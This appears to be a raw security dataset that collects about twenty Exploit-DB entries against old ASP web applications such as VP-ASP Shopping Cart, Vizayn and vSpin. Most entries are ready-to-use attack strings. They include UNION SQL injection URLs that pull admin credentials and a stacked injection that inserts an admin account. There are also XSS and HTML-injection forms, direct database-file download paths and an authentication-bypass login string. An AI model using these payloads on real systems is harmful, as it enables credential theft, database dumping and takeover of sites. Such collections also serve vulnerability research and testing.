deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3061
Description: Vizayn Haber - 'haberdetay.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-01
Author: chernobiLe

Exploit:
###############################################################
#Vizayn Haber (tr) == (tr) SQL Injection Vulnerability
#Author : chernobiLe
#Site : www.cyber-sabotage.org , www.chernobiLe.com
#Contact: info@cyber-sabotage.org
###############################################################
#Risk : High
#Download Link Of Vizayn Haber : http://aspindir.com/goster/4623


#Exploit;
#Admin Nick, Passport, Mail;
http://[SITE]/haberdetay.asp?id=1+union+select+0,PASSWORD,EMAIL,USERNAME+from+ADMIN

#Union data Text;
#Haber Eklenme Tarihi :  USERNAME
#Haber Basligi :               PASSWORD

#Greetz: All CSDT ( Cyber Sabotage and Defacer ) TEAM

# milw0rm.com [2007-01-01]
Exploit-DB #4007
Description: Vizayn Urun Tanitim Sistemi 0.2 - 'tr' SQL Injection
Type: webapps
Platform: asp
Date: 2007-05-30
Author: BAHADIR

Exploit:
/* Vizayn Urun Tanitim Sistemi v0.2 (tr) Remote SQL Injection Vulnerability
Found by : ertuqrul
PoC By : BAHADIR
Contact: bahadir@bsdmail.org
Scripr HomePage: http://www.vizayn.web.tr/ws.asp?ws=102
Script Demo URL: http://ws.vizaynhosting.com/V02/
Price : 55YTL 

PoF Concept:
Http://[HOST]/[PATH]/default.asp?islem=haberdetay&id=-1%20union%20select%20USERNAME,PASSWORD,EMAIL,USERNAME%20from%20ADMIN
Takes admin username ,password and email adress from admin table 

W0rdz:Maksat Birseyler Eklemek Olsun =)
GreetZ Goes To : BURCU (Her Ne Kadar Bilmesede :D ) Ayrica Dostum Erchin'e ( Ercin Kardesim, Warcraftin Amk. Birak Su Malak Oyunu :D )  
and also to Str0ke For Posting :)
*/

# milw0rm.com [2007-05-30]
Exploit-DB #23813
Description: VocalTec VGW4/8 Telephony Gateway - Remote Authentication Bypass
Type: webapps
Platform: asp
Date: 2004-03-15
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9876/info

It has been reported that the VGW4/8 Telephony Gateway is prone to a remote authentication bypass vulnerability via its web configuration tool. The problem is due to a design error in the application that allows a user to access configuration pages without prior authentication.

Successful exploitation of this issue may allow a remote attacker to gain control of the affected appliance via its web configuration tool.

http://www.example.com/home.asp/
http://www.example.com/home.asp/../menu.asp
Exploit-DB #1759
Description: VP-ASP 6.00 - 'shopcurrency.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-05-06
Author: tracewar

Exploit:
VP-ASP 6.00 SQL Injection / Exploit by tracewar(tracewar@gmail.com)

people claimed there is some underground sploit for vp-asp 6.00 and I was sure that
if a sploit really exist in the ug i can find the bug and make a small hack for it ^^
well it didn't take me more then 5 minutes to find a bug in vp-asp.

* the vendor was already notified.

p.s. before we get to the bug/hack.. I'm not responsible for any illegal actions
taken by people using the information in this document, if you don't agree please stop reading
and close this text document asap.

* this information is for educational purposes only!

----

The SQL Injection bug is in the shopcurrency.asp file under the "cid" query.

quick hack to add user a/a:

/shopcurrency.asp?cid=AUD';insert into tbluser ("fldusername","fldpassword","fldaccess") values ('a','a','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29')--

and for those of you that don't know sql at all
this is how you remove the user 'a':

/shopcurrency.asp?cid=AUD';delete from tbluser where fldusername='a'--

-tracewar

# milw0rm.com [2006-05-06]
Exploit-DB #26537
Description: VP-ASP Shopping Cart - 'Shopadmin.asp' HTML Injection
Type: webapps
Platform: asp
Date: 2005-11-17
Author: ConcorDHacK

Exploit:
source: https://www.securityfocus.com/bid/15490/info

VP-ASP Shopping Cart is prone to an HTML injection vulnerability. This is due to a lack of proper validation of user-supplied input before being used in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

<TITLE>VP-ASP Shopping UserName HTML Injection Vulnerability</TITLE>
<form action=http://www.example.com/shopadmin.asp name=LoginForm method=POST>
<input type=hidden name=UserName value='"><script>alert("Vulnerable server!!!
By ConcorDHacK")</script>
<b><font color="red" size="10">Vulnerable server<br>By ConcorDHacK@gmail.com>
</font> </b>' /> <input type=hidden name=Password size="20" value="123"></td>
<input type=submit name="Login" value="GO ! GO !"><br><br><br>By ConcorDHacK<br>
<u>Email</u>: ConcorDHacK@gmail.com<br>
<a href="http://hackzord-security.fr.tc">www.hackzord-security.fr.tc</a>
</form>
</body>
</HTML>
Exploit-DB #3115
Description: vp-asp shopping cart 6.09 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-01-11
Author: ajann

Exploit:
*******************************************************************************
# Title   :  VP-ASP Shopping Cart 6.09 Remote Multiple Vulnerabilities
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.vpasp.com
# $$      :  $49.00 - $350.00 - $495.00

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//shopgiftregsearch.asp?LoginLastname=[SQL]

Example:

//shopgiftregsearch.asp?LoginLastname='%20union%20select%200,email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20registrant%20where%20'1=1
//shopgiftregsearch.asp?LoginLastname='%20union%20select%200,lastname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20registrant%20where%20'1=1

This Informations go to login page.

[[/SQL]]

[[XSS]]]---------------------------------------------------------

http://[target]/[path]//shopcustadmin.asp?msg=[XSS]

Example:

//shopcustadmin.asp?msg=%3Cscript%3Ealert('x');%3C/script%3E

[[/XSS]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-11]
Exploit-DB #30048
Description: VP-ASP Shopping Cart 6.50 - 'ShopContent.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-05-17
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/24033/info

VP-ASP Shopping Cart is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

VP-ASP Shopping Cart 6.50 is vulnerable; other versions may also be affected. 

<!-- VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability A cross-site scripting vulnerability in VP-ASP Shopping Cart 6.50 was discovered. The vendor, VP-ASP, shipped an official patch on May 16th, 2007. Vulnerable Variable: type Vulnerable File: shopcontent.asp Vulnerable: VP-ASP Shopping Cart 6.50 (other versions should also be vulnerable) Google d0rk: intitle:"VP-ASP Shopping Cart 6.50" John Martinelli john@martinelli.com RedLevel Security http://www.RedLevel.org May 16th, 2007 !--> <html> <head><title>VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability</title><body> <center><br><br> <font size=4>VP-ASP Shopping Cart 6.50 - Cross-Site Scripting Vulnerability</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br> Google d0rk: <a href="http://www.google.com/search?q=intitle%3A%22VP-ASP+Shopping+Cart+6.50%22">intitle:"VP-ASP Shopping Cart 6.50"</a> </font><br><br><br> <center>file <b>shopcontent.asp</b> - variable <b>type</b> - method <b>get</b></center><br> <form action="http://www.example.com/shop/shopcontent.asp" method="get"> <input size=75 name="type" value="<body onload=alert(1)>"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br><br><br> </form> </body></html>
Exploit-DB #7438
Description: VP-ASP Shopping Cart 6.50 - Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-12
Author: Dxil

Exploit:
VP-ASP Shopping Cart V6.50 Database Disclosure Vulnerability
##############################
=============================
         ----- Script information -----
=============================
# VP-ASP Shopping Cart V6.50
## Script Website :  www.vpasp.com
# Found by  :  Dxil
## Contact :  z1cx@hotmail.com
### Dxil@v4-team.net
##############################
=============================
Dork : powered by vpasp v 6.50
=============================
=============================
               -------- Exploit --------
=============================
/database/shopping650.mdb

---->> www.site.com/database/shopping650.mdb

=============================
             --------- Greetz ---------
=============================

V4-team ,, S.V.T ,, Reno ,, Ghost Hacker ..

# milw0rm.com [2008-12-12]
Exploit-DB #11018
Description: VP-ASP Shopping Cart 7.0 - Database Disclosure
Type: webapps
Platform: asp
Date: 2010-01-06
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : VP-ASP Shopping Cart 7.0 DB Download Vulnerability 
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                                
| # Web Site : www.iq-ty.com 
| # Dork     : Copyright 1999-2010 Rocksalt International Pty Ltd. All rights reserved 
| # Dork1    : VP-ASP Shopping Cart 7.0                                                                                                                               
| # Script   : (VP-ASP Shopping Cart 7.0) Copyright (c) 1999-2010 Rocksalt International.                         
| # Tested on: windows SP2 Français V.(Pnx2 2.0) IIS 5.0                              
| # Bug      : DB                                                                    
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
  1- http://127.0.0.1/vpasp/database/shopping700.mdb
  
  2- after open the data base find the user and pass in 'tbluser'

================================   Dz-Ghost Team   ===================================================
Greetz : Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com  
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me 
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)  
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com 
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com 
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com 
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
--------------------------------------------------------------------------------------------------------
Exploit-DB #29103
Description: vSpin Classified System 2004 - 'cat.asp?cat' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21190/info

vSpin Classified System is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/cat.asp?cat='[sql]
Exploit-DB #29105
Description: vSpin Classified System 2004 - 'cat.asp?catname' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21190/info
  
vSpin Classified System is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/cat.asp?cat=1&catname=[xss]
Exploit-DB #29104
Description: vSpin Classified System 2004 - 'search.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21190/info
 
vSpin Classified System is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/search.asp?in=y&keyword='[sql]
http://www.example.com/search.asp?in=y&keyword=1&submit=Search&order='[sql]
http://www.example.com/search.asp?in=y&keyword=1&submit=Search&order=tbl_classads.col_id&sort='[sql]
http://www.example.com/search.asp?in=y&keyword=1&submit=Search&order=tbl_classads.col_id&sort=DESC&cat=0&menuSelect='[sql]
http://www.example.com/search.asp?in=y&keyword=1&submit=Search&order=tbl_classads.col_id&sort=DESC&cat=0&menuSelect=1&type=1&city=1&minprice=1&maxprice=1&state='[sql]
Exploit-DB #29106
Description: vSpin Classified System 2004 - 'search.asp?minprice' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-20
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21190/info
   
vSpin Classified System is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because the application fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
   
http://www.example.com/search.asp?in=y&keyword=1&submit=Search&order=tbl_classads.col_id&sort=DESC&cat=0&menuSelect=1&type=1&city=1&minprice=[xss]
Exploit-DB #8889
Description: VT-Auth 1.0 - 'zHk8dEes3.txt' File Disclosure
Type: webapps
Platform: asp
Date: 2009-06-08
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
@~~===============TURKISH=================~~@


@~~=======================================~~@
@~~=Script   : VT-Auth v1.0 

@~~=S.Site   : http://vt.rovno.info

@~~=Down.    : http://asp.html.it/script/script_3583.zip
@~~=======================================~~@

@~~=Vul

http://c4team.org/ [Yol] /zHk8dEes3.txt


@~~=Demo

http://vt.rovno.info/demos/vt_auth/zHk8dEes3.txt


              _.--"""""--._
            .'             '.
           /                 \
          ;       C4TEAM      ;
          |                   |
          |                   |
          ;                   ;                   ByALBAYX
           \ (`'--,    ,--'`) /
            \ \  _ )  ( _  / /                 WWW.C4TEAM.ORG
             ) )(')/  \(')( (
            (_ `""` /\ `""` _)
             \`"-, /  \ ,-"`/                       
              `\ / `""` \ /`
               |/\/\/\/\/\|                      
               |\        /|
               ; |/\/\/\| ;
                \`-`--`-`/
                 \      /
                  ',__,'
@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-06-08]
Exploit-DB #29227
Description: Vt-Forum Lite 1.3 - 'vf_info.asp?StrMes' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-12-04
Author: St@rExT

Exploit:
source: https://www.securityfocus.com/bid/21428/info

Vt-Forum Lite is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The attacker may also be able to conduct HTML-injection attacks through unspecified fields on the 'vf_newtopic.asp' script page.

These issues affect version 1.3; other versions may also be vulnerable.

http://www.example.com/[scriptpath]/vf_info.asp?StrMes=[xss]
Exploit-DB #29228
Description: Vt-Forum Lite 1.3 - 'vf_newtopic.asp' IFRAME Element Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-12-04
Author: St@rExT

Exploit:
source: https://www.securityfocus.com/bid/21428/info
 
Vt-Forum Lite is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
The attacker may also be able to conduct HTML-injection attacks through unspecified fields on the 'vf_newtopic.asp' script page.
 
These issues affect version 1.3; other versions may also be vulnerable.

http://www.example.com/[scriptpath]/vf_newtopic.asp<iframe height=500 src="http://www.example2.com/yoursite.html">
Exploit-DB #13840
Description: VU Case Manager - Authentication Bypass
Type: webapps
Platform: asp
Date: 2010-06-12
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ###########################################       1
0                    I'm L0rd CrusAd3r member from Inj3ct0r Team       1
1                    ###########################################       0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:VU Case Manager Authentication Bypass
Code: ASP 3.0 & VBScript
Vendor url:http://www.vunet.us
Version:3.4
Price:80$    
Published: 2010-06-12
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to all ICW members.
Spl Greetz to:inj3ct0r.com Team

#####################################################################################################################################################################################################

Description:

Case Management (Open, Assign, Resolve); Inventory Management (Store and Manage Your Items); Knowledgebase (View Resolved Cases); Reports (Create Reports, Statistics, Billing); 3 Access Levels; Email Notifications; Check Case Status

#######################################################################################################################################################################################################

Vulnerability:

*Authentication Bypass found
 
The Provided Script as Sqli Vulnerability in Admin Login page


DEMO URL: 

http://[site]/[path]/management.asp

Use the string a' or '1'='1 for Username and Password to gain access.


# 0day n0 m0re #
# L0rd CrusAd3r #